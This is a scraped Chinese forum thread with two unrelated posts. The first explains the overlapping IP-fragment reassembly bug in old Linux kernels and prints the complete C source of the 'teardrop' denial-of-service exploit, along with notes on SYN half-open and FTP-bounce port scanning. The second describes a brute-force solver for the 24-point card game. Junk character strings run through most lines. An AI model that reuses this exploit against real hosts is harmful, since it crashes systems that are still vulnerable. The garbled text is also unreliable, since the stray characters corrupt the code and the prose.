, _" T1 B2 V8 g3 @memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);( t* x2 F+ m; E3 B  ?7 K. R) f. G* f
count += fp-&gt;len;( k8 J5 I% @; i8 H$ \2 V
fp = fp-&gt;next;  T- S$ d( Y1 e( V" @* l) V
}  C& @4 J/ j' k* t
这里只检查了长度过大的情况,而没有考虑长度过小的情况,3 i, g! y& [3 w/ P# Y. c
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
8 e3 k9 J5 J) J1 {3 pend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)9 R" J9 q7 w: V7 J+ J, r& C
是这样处理的:1 S$ w5 H/ r2 o6 p! g/ l! Q) j+ [) l
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
% U  p0 e% `, Q: u{! j- p: x9 R0 m+ o' o
i = prev-&gt;end - offset;: [' K8 }( o/ c; @% ?5 o
offset += i; /* ptr into datagram */
* [  I; L1 W" Eptr += i; /* ptr into fragment data */
- \# `) G. f5 H3 Y/ R' Y}</P><P>/* Fill in the structure. */! ]- z" u: |9 k4 b' c9 D
fp-&gt;offset = offset;% @# o- a( R& f, n2 ^3 U. x. c( a
fp-&gt;end = end;5 u" C7 N: [7 M# U
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
4 Z/ o, E3 j' D) @  R第一个碎片:mf=1 offset=0 payload=20, r. Z& R% d) J& w. d9 i0 V
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 + ~' x6 u6 Q/ d, S) f! p
offset=0
# _2 E" s& c5 q' e这样第二个碎片的 end=9+10=190 L# @- O  l0 m! z. j) J0 B' s
offset=offset+(20-offset)=20% [$ f: I. D! l: i) t/ x
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>0 ?/ c3 z/ t% y
/*
/ J6 L0 V0 ?& H# C. H5 ]' l) ~* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.974 @: m( f( A8 |6 H  h2 N
*
( v+ f- t; e# L' U2 I" y* Linux/NT/95 Overlap frag bug exploit/ |5 w% y8 w- c$ ^3 A0 a0 h
*
8 S: o. d# R5 O' i7 Y, u* Exploits the overlapping IP fragment bug present in all Linux kernels and8 X. I) z/ m! m* O
* NT 4.0 / Windows 95 (others?)/ }, T0 N/ b) g: g
*) {4 ~8 ?2 \0 |1 f, u
* Based off of: flip.c by klepto
  f& L/ _2 ?5 R0 Z- y* Compiles on: Linux, *BSD** H% n- g) {/ B3 _6 ^% @. I
*% H; x1 n' t6 B2 E+ e
* gcc -O2 teardrop.c -o teardrop
  Z; f2 ]) R$ I- V8 b# @4 }' u* OR
- Q8 V* ]( W* D& s* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING2 S# B! {: ^8 h" L- e5 Z* z2 Z
*/</P><P>#include <STDIO.H>
1 ~9 m/ q7 w7 c2 M0 X9 z# Q# r#include <STDLIB.H>
5 g/ A  |3 O9 i& N, D#include <UNISTD.H>) a1 h0 J% p8 r* D
#include <STRING.H>
' x* K& Z6 o- E0 X#include <NETDB.H>
/ ^+ s# a/ P: c) d#include <NETINET in.h>
8 R! Y1 \3 O& x8 r6 m7 T#include <NETINET udp.h>. m4 g+ p; T. K, g+ q3 S
#include <ARPA inet.h>
# d9 W% _, U( E$ |+ h#include <SYS types.h>
( F0 K2 s; O+ _, Z2 w: c#include <SYS time.h>. T( W0 P$ U$ l) C; W/ w1 Y7 S
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
8 _* ?2 w( ]) @8 Q, H% Z/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */, T8 k4 S, q" k, l+ d' E6 ]! t
#define FIX(n) (n)
6 l& ?5 H; C: u6 v, f- u' }7 x% b#else /* OpenBSD 2.1, all Linux */
+ ]7 A  b1 \& ]( Q$ @% Y9 C, U3 e#define FIX(n) htons(n)
* S5 K& Z, R* |. a4 K# Q& O#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */4 u3 s, ~% S1 T9 i! C6 i& E
#define IPH 0x14 /* IP header size */
# Z' p6 s& t+ e+ e8 c#define UDPH 0x8 /* UDP header size */* f$ V" L9 n4 u! F0 @# f
#define PADDING 0x1c /* datagram frame padding for first packet */
1 j- C7 N' P' z3 c: c# i#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */7 ~, G) y: M  f! s
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
  H" Q) W+ o' m9 {3 d* withstand maybe 5 or 10 sometimes... Experiment.  N7 l: T& O. y3 C
*/</P><P>void usage(u_char *);; w, T7 M' A% Q2 F6 [
u_long name_resolve(u_char *);( i, ?7 u3 B" e
u_short in_cksum(u_short *, int);
2 Q7 h- j$ [$ d8 y- o) O0 Cvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)# q$ V  W/ l7 k% ?* X
{
0 y# o8 t6 k1 f) L& C1 |& wint one = 1,
* C5 F  a& a0 v' ocount = 0,
# y3 V3 ]% k: Q. T* o' _/ h) Di,
. k& W$ h8 ]% S/ Jrip_sock;
5 g) _( b% O% t! x+ T, Q, T; wu_long src_ip = 0, dst_ip = 0;
9 ~+ g3 Y- M+ V  `( Ku_short src_prt = 0, dst_prt = 0;
# D: V( [5 \  C" N( kstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW) j. ?) m! v+ w
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
4 h7 f* c4 I; T2 K/ ^5 |+ [{! r* E) D0 g) s- d
perror("raw socket");
; y0 ]9 F( \% l' F: Q3 N' E  m3 Pexit(1);
( G: ^. L  d( v" W- l- i& C}  f! S2 `8 @' ^4 @- y5 e0 e
//由系统处理IP校验和。( `4 \8 A: M7 P! c% u
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
. J% N! j+ q/ I& K. u&lt; 0)
& Q; w1 T. |* F8 W3 x{+ a. T3 n! |. l
perror("IP_HDRINCL");7 [: w- ~! Q1 t- b% g
exit(1);* g" u8 d  p& I& h3 i/ \
}</P><P>if (argc &lt; 3) usage(argv[0]);9 _% I) E# R' Z0 p! Y  T! X
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
- i! B: S6 n* i( {{
/ y+ W0 t  ^  j* W4 i* Bfprintf(stderr, "What the hell kind of IP address is that?\n");/ s% M7 P) D0 A1 `
exit(1);$ z0 P% B3 i, b7 o3 Z, y3 @2 s# i
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
3 I( w- c1 S) X9 w7 s$ l% U- N5 K{
- F, S" o2 ]9 T9 Gswitch (i)
  S. j- H. ]. M1 [  v) T{
& s+ Y+ z2 `8 m6 L. X" B: v) ccase 's': /* source port (should be emphemeral) */
! s9 r% W6 G) G6 N; ~3 i  e$ qsrc_prt = (u_short)atoi(optarg);/ f# v- b8 d3 c" }! D  U
break;
) p9 e! `$ v$ ?% v5 q& \case 't': /* dest port (DNS, anyone?) */8 b% a  ?  A8 j  r+ l
dst_prt = (u_short)atoi(optarg);6 C. d! I# ~' r; A/ ~, N. J/ e! M8 i% {
break;# |4 N. _. g' p5 u! F3 X
case 'n': /* number to send */
7 H0 C. G$ [) U+ ^8 J2 G" Ecount = atoi(optarg);
8 G/ Q" W1 b0 n, Y( z, Jbreak;( U: ~" l, ?1 F. P0 a9 [/ r# d
default :
$ x9 u2 P1 U# G; V/ E2 S  \9 Nusage(argv[0]);
9 z8 }4 C5 D4 u# P  |, Ibreak; /* NOTREACHED */
2 f/ T' g1 P5 {# H' o}" o# A! W  o. E6 D" b9 q2 O
}</P><P>srandom((unsigned)(time((time_t)0)));6 z: x  S8 V7 X( C9 R9 H% o
if (!src_prt) src_prt = (random() % 0xffff);
& N" y) f) f5 O: O  mif (!dst_prt) dst_prt = (random() % 0xffff);' v. m) }" F- @8 B
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
3 Y8 |$ G! n; A4 k9 l8 l1 w6 b$ Oaddr.s_addr = src_ip;
+ `; A* D: C+ ]' zfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
+ ^2 \; O; j  Z+ U) Uaddr.s_addr = dst_ip;; Y, b1 Y; W6 a% W0 h
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
2 t& B; d" S- o- K, V( k( Xfprintf(stderr, " Amt: %5d\n", count);$ x, k# ?' B5 M9 `% k* O
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)0 w: |4 @% }9 r" c* I
{
3 L' r) P3 t9 N6 q7 Q, ^$ U9 X+ T# x$ qsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
' T8 W* s9 _( K9 d% h/ Pfprintf(stderr, "b00m ");( N" o1 U/ U3 x/ w! |+ `
usleep(500);
' m; A. x( h: [# W, E6 O8 ~}
" D* B6 }$ _' }! b- Y4 pfprintf(stderr, "]\n");& H/ i* k1 ~0 {0 N
return (0);5 q9 {8 r3 Y( }2 I+ P/ V3 a
}</P><P>/*
* H/ `0 k' x) c* Send two IP fragments with pathological offsets. We use an implementation
. s4 {' C- f3 ~9 N, |0 j8 g* independent way of assembling network packets that does not rely on any of, |1 |+ E0 d( j7 \" V. p# l
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
# `! I! X& x6 D! ]( z* w*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,) T1 R! i' g8 q* e$ F& W) o. J
u_short dst_prt)
6 \5 I3 }4 f8 P9 L8 ?{% K6 z* Z& H/ U
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
5 c) \) Y: Q$ |u_char byte; /* a byte */( O) u4 P  e" _" u9 N
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;9 M4 K6 J7 z3 O  Y" G
sin.sin_port = src_prt;
" ^! O/ l( X) Y3 msin.sin_addr.s_addr = dst_ip;</P><P>/*  N9 v4 u, W/ B- j# ]+ k- I/ s/ B
* Grab some memory for our packet, align p_ptr to point at the beginning
5 i5 K" ?' l2 b9 r0 H7 E; B* of our packet, and then fill it with zeros.# x. ~- h7 Y0 O9 c/ q7 v* F$ g( h
*/
7 W/ I+ A, `- {, Y9 F1 a4 B& }packet = (u_char *)malloc(IPH + UDPH + PADDING);
% F, W# C7 h" t# [, q# Kp_ptr = packet;& `/ H. {/ M2 [* r& @8 }
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
' O' ]0 d# I/ A( K/ r0 @memcpy(p_ptr, &amp;byte, sizeof(u_char));
2 B" z) o% R' e1 ap_ptr += 2; /* IP TOS (skipped) */# M8 x. u7 h6 o7 _, W. |
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */" g4 F) x% K2 C5 Z' r6 n' o! [
p_ptr += 2;
, ]; `5 s: D% k% s6 a) U*((u_short *)p_ptr) = htons(242); /* IP id */
9 I( B0 r9 ?+ ?' Dp_ptr += 2;- b6 C' M7 T2 d+ c
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */6 x  i: T, |" |5 ]7 g( l' H
p_ptr += 2;
* f( \3 ?9 X1 [) g# }* \$ u*((u_short *)p_ptr) = 0x40; /* IP TTL */. B4 U% }9 g& o
byte = IPPROTO_UDP;
" R6 ]9 U- n. q$ u5 \, F! s" Fmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
* w+ c5 L6 G3 T4 J' j# P9 T" Q2 o4 Dp_ptr += 4; /* IP checksum filled in by kernel */. e7 L1 J5 I$ E9 m! I' k
*((u_long *)p_ptr) = src_ip; /* IP source address */
* w* p3 ~2 q+ Z; }9 ^- ]2 Qp_ptr += 4;
4 e0 p# z- @& Q9 L& Z& q*((u_long *)p_ptr) = dst_ip; /* IP destination address */
/ n/ h6 S. p. z# K5 S! s6 ~( Kp_ptr += 4;
) J( Q4 \. ]. t0 H" P*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
% E( t: `4 _+ y. D0 k5 ?9 L! _p_ptr += 2;+ M; W1 j- I! T! p4 }/ m
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
; r: J$ n' x& v% P) Mp_ptr += 2;
8 J' v3 d+ e- N9 L) }1 X*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
$ a; E3 ^5 p4 Z- w- W4 l0 y7 _5 \sizeof(struct sockaddr)) == -1)4 p  T+ S2 J2 F) x
{
( X' R8 m# E9 aperror("\nsendto");6 |8 I2 j2 T7 o2 o  _
free(packet);
/ C! M/ r- S7 ^4 `exit(1);; {% ^/ r" `, O) M
}</P><P>/* We set the fragment offset to be inside of the previous packet's! y8 P4 ?2 H  ^& X! M5 F
* payload (it overlaps inside the previous packet) but do not include
$ f' c9 T! f: O' m. \7 }* ]* enough payload to cover complete the datagram. Just the header will
, p5 [6 J& L8 h2 V# _; ~! R1 I6 F* do, but to crash NT/95 machines, a bit larger of packet seems to work
: N. ^( F2 X( w" P, A( \, U* better.
- @+ S8 K* T; R! l( q*/% E8 x0 p: ~& j1 ~
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
5 g$ B7 `5 \: v' @$ [; s! X*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
/ S5 e& N1 `, ~) l4 ap_ptr += 4; /* IP offset is 6 bytes into the header */
' v5 y' F# O, c% R*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
4 j" }: l9 Y' h1 }! [* `3 R' Nsizeof(struct sockaddr)) == -1)
: i5 `# \! H# W& B+ ^8 `{8 L- j) O' ^& j3 C
perror("\nsendto");* |# n% h8 c8 Z
free(packet);
+ M( O4 s& M& `- p4 aexit(1);$ m' U0 m; g/ f& z0 {) G- u
}
* \3 L1 h  a# `. E3 k- Tfree(packet);) n2 r5 h+ M& b8 _7 \
}</P><P>u_long name_resolve(u_char *host_name)
% s' V# r" |. P: m: s; \8 {{
( ~' R  \* L, ~3 E+ vstruct in_addr addr;
( |- o7 G- @/ b+ M) n' I8 ~struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
6 U$ M0 T( {3 F. x7 I{% S0 p1 h; x" ~& @2 `  b. U$ u
if (!(host_ent = gethostbyname(host_name))) return (0);" w* s+ \# ]' N) |" z4 J
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);' I9 h( W* [( w1 v2 P
}' }- a9 ]; G( @* K3 l
return (addr.s_addr);
) w2 W5 U+ `3 w4 z0 r}</P><P>void usage(u_char *name); c5 h. V' g3 |, h/ p& N, x1 ?
{5 ^, W! B  h& o
fprintf(stderr,
: |& m8 i1 v; p% e0 d% F"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
- p+ a8 k0 [2 J2 bname);6 S1 l' R- a5 q! O9 `# ^+ _. Y0 d
exit(0);
! }2 h& v7 a' E3 T}</P><P>
; X2 M- n6 d7 n4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
/ M4 ]0 C. T3 {1 X, [2 f: N* D) q5 o8 B(1) Half-open(半打开)
" d/ g. k  g% q+ x利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
1 N( }+ y) o- j7 L  b1 u如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
) R: ]4 |# _' L: W, e* M2 t利用了FTP的port命令,例如可以这样作:
$ s0 n) z; [( w- i- D' x0 Z选择一个FTP服务器,连上后令port命令指向目标机,如果返回7 i, D2 R% Y1 ]8 k, X
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则- T! z7 v7 v) ^9 D
该端口无服务。6 ^& D( X/ F& i1 A' J; {, t
telnet 192.168.1.13 21( ^: ]0 ^( @  Y  I* Y* h
Trying 192.168.1.13...
/ `- E6 Q( n, M* e# d3 h8 _Connected to pp.bricks.org.4 I4 c3 N# B9 p) U
Escape character is '^]'.) K5 Z# x5 {  F- ~3 [/ J
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
/ R% f4 i, H) h7 F" _3 B/ R8 }* oThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
& n% |5 B+ \! g! V! Q  v3 M331 Guest login ok, send your complete e-mail address as password.' X4 K+ E6 V4 ]  K, A# X
pass aa@aa.aa
' R+ s' y9 T! \! }230 Guest login ok, access restrictions apply.' |; O2 }% M9 R* T
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
. z7 L7 i) m& s2 m425 Can't build data connection: Connection refused.
+ P* B+ g" ~! C% L0 |//该端口未活动 % A8 I) E: ?) r9 ?' ?, e" Z
150 Opening ASCII mode data connection for file list.: y' B7 I4 u- @" v& d
226 Transfer complete.
+ W1 h  _/ _. x: a* U4 e# ?//该端口活动中
' @" w; W9 Z- j' c但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing  s# J" C4 x, [0 j
SYN|FIN ACK or SYN|ACK* RST
. v  \9 B8 V5 `6 ~$ d& ~1 ?7 {  SACK Nothing RST
, K2 n/ A) t# t+ m: U0 F0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
7 {: i8 z9 k3 M5 `( ?一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,/ V$ l. j: N0 Z
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
* r. I! w+ O+ v! u' @! c# `定它在向你做portscan。</P><P>notes:7 H8 Q" ?0 H) D2 P: m0 X( C
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),# @, w4 S; a+ S4 k0 q1 q
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的$ t8 b+ E" _- L# h8 x8 s3 q
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>4 U& i2 A" K: s  }" Q
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
( i$ ~& Z6 Q, ?  U9 s, b  |0 x7 `5 L( _
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
! l' y: S3 w; `, W首先穷举的可行性问题。我把表达式如下分成三类——* p/ Q; v4 N$ e% @' b+ K
<FONT color=#ff0000>1、 无括号的简单表达式。$ C: s* e2 R4 i4 L
2、 有一个括号的简单表达式。
% N! S" q, e. U! \' d( O3、 有两个括号的较复4、 杂表达式。
- n. [  H9 K8 w' n1 j1 R9 i9 j</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
0 e* v6 f# v1 h) N<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */4 d; K! `7 V+ x3 N$ _
/* c[] 存放四张牌的数组 */
5 ?& [  {4 y  B9 Y9 a+ P; G/* k[] c[]种四张牌的代号,其中k[I]=I+1。7 B' ^6 v$ Z; X. `8 U
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
( c. j8 E1 j$ d7 a3 U  `* h/* kans[] 暂存生成的排列组合 */
4 n' |" A$ H# h4 \. L8 w! Z/* j 嵌套循环的次数 */* |$ e8 l4 G; @) I4 N; j
int fans(c,k,ans,kans,j)
0 _4 H( @; R) r; U: ]. M. i5 eint j,k[],c[];char ans[],kans[];' Z# y) i/ z) N* y2 ~
{ int i,p,q,r,h,flag,s[4],t[4][4];+ p  ?* S: ?0 s5 p0 ?. ?/ _
for(p=0,q=0;p&lt;4;p++)7 b2 Z3 y, q: V- T7 I  {5 i
{ for(r=0,flag=0;r<J;R++)
" ?, ~2 `' s) g7 [3 n if(k[p]!=kans[r]) flag++;: H+ J0 T/ x; Y4 U: Q
if(flag==j) t[j][q++]=k[p];
; i+ w/ f0 F( _( S# j/ s}- c: f1 z, P0 W' A$ T$ p& R
for(s[j]=0;s[j]&lt;4-j;s[j]++)
& X( G! Y' T: m# z. ]4 C" N{ kans[j]=t[j][s[j]];
: f" \. ?9 x% Cif(j==3) { for(h=0;h&lt;4;h++)
9 M; V7 P1 W6 q5 r$ Ians[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
& R' x) g  D, N! Z$ W8 B达式中的位置 */
: @1 u/ G9 L5 G" Kfor(h=0;h&lt;3;h++)
) w, N3 U/ `3 u# u" ~6 p$ ysymbol(ans,h); /* 在表达式中添加运算符号 */% |; q( }& N& e, N4 I$ b
}
( n0 R$ V! v' q. _# D( O1 v4 telse { j++;
3 |* s: Y* ?( }" v( \fans(c,k,ans,kans,j);
, O  j4 c: F* U& Z8 v. N3 ~j--;+ N9 }% E# |7 O3 C. M7 O0 K
}2 |0 ^" o1 z" x5 `: S
}
! Z' V' L, X$ d9 y' G  q1 D  s/ j}</FONT>4 s' s5 F+ b9 x8 [( j4 L
% ^! a8 m5 ~. v" m
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:" F, K" L) I, s9 ]3 v7 m
8 F. A1 j/ W: ^0 S
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/9 h" P4 k4 f- [! }( S" q, f
int sans(ans,sy,j,h)
6 h) s$ Z# @) T+ \; n* R6 _char ans[],sy[];int j,h;; B5 P4 B6 k" v$ w$ J( u
{ int i,p,k[3],m,n; char ktans[20];1 E1 k( y1 P4 x' P2 [( s( \
for(k[j]=0;k[j]&lt;4;k[j]++)
2 O$ S! q0 E1 s+ L, K{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位$ `4 c. Z5 o, P  \. t. \
这里的三个运算符号分别存放在1、3、5位*/
0 V) O; z2 S- K1 o3 ^* T) ~$ fif(j==2)
9 V. |. ~5 f. k{ ans[5]=sy[k[j]];
2 ^1 ~& b- M$ e2 D% g" ^" V/* 此处根据不同的表达式形式再进行相应的处理 */
9 |6 s7 c( ]- B$ y/ |}9 f7 @5 l9 s% `& {3 D/ J/ T  O( N
else { j++; sans(ans,sy,j--,h); }# c% [, J6 V: u& r4 o1 s) H( I
}" M" j/ N$ E# a( h- c1 R6 \. U5 U0 l
}  e- i9 a4 X4 b# W; F# v' J( ^$ r

; \3 }' h: @' t$ n' T+ j</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。; ~) ]+ `2 i; M, g- k( V# l# J
for(m=0;m&lt;=4;m+=2)" ]( P1 \4 u7 m# h5 f( O
for(n=m+4;n&lt;=8;n+=2)
# J2 U+ _6 S) g; t# [  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
+ j  u& W4 ?4 e# p) N: q# X& G2 f- X3 }+ V3 A! b) B/ E
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。. Y# K" w6 h4 ~, {
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
2 X  `; c% x* d0 e7 k: B在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
8 T' f% A+ a* c% O4 z3 K5 g: c: l; p, E3 G; u
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。' t1 h# |  g. S/ P3 t& X1 V) n

( ?+ X5 [$ ?- w  那么作为栈的著名应用,表达式的计算可以有两种方法。1 s8 V& D  t  }/ Z/ U4 a

- T3 f4 @, o  q- Q  <FONT color=#ff0000>第一种方法——</FONT>0 B0 R, k* ?( ^4 S
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。2 q) G$ g* |* j) m8 c! r9 g
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:, E  G6 L& a. Y  Q8 J  F0 K
1、 若W为操作数
5 \& ?3 L- q0 T8 l  ]. u2、 则将W压入操作数栈OVS  t7 ?, P6 k( h' `* O4 f) l
3、 且继续扫描下一个字符
/ O5 Y& g! [' c' E4、 若W为运算符0 X+ f0 z; U1 B/ ?
5、 则根据运算符的性质做相应的处理:
( r7 ~/ E8 l, q! Y(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。+ N7 u- n' I; l% s. ~) O: C; d) _3 M, J
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
& n; t( ?7 X" M, m  W% f(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。: Y1 M" a5 |% Y) [
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
4 j6 i( _$ p! Z1 r6 ^! ?+ k- F; u' K% B) X7 I
<FONT color=#ff0000>  第二种方法——</FONT>- |0 q1 p1 u: B+ m& C* E
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
$ p  B3 P# W, m' u' Q( ?
$ Q7 ?2 z7 j/ P, O- ]  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。4 _2 K; r! o2 j2 i# n# s2 q$ X9 J

6 i6 ?' g( z/ U9 ?( @   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
6 Z* q5 X( A; Y! t0 N表达式 波兰表达式' J$ G1 q+ \. K* F1 U. C
A-B AB-6 G' Z) V5 s/ ]% X
(A-B)*C+D AB-C*D+% {* m7 G1 I$ ^+ v& W0 g8 y
A*(B+C/D)-E*F ABCD/+*EF*-7 ?( ^& y$ P4 q3 z
(B+C)/(A-D) BC+AD-/
3 k4 C7 D* u) Q1 w; O8 T' F- Z# f6 U9 B: [- u8 H
